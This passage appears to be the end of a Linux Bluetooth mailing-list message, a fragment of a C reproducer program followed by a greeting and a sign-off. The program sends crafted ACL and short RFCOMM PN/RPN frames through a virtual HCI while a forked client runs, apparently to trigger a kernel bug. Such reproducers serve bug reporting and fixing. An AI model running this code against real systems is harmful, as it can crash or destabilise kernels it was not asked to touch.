                        send_acl(remote_cid, f, 14);
                    }
                }
            }
        }
    }

    usleep(100000);
    send_short_pn(dlci);
    usleep(100000);
    send_short_rpn(dlci);
    sleep(2);
}

int main(void)

{
    unlink("/tmp/vhci_ready");

    pid_t pid = fork();
    if (pid == 0) {
        rfcomm_client();
        return 0;
    }

    execute();
    kill(pid, SIGKILL);
    waitpid(pid, NULL, 0);
    return 0;
}

Hi,

Luiz Augusto von Dentz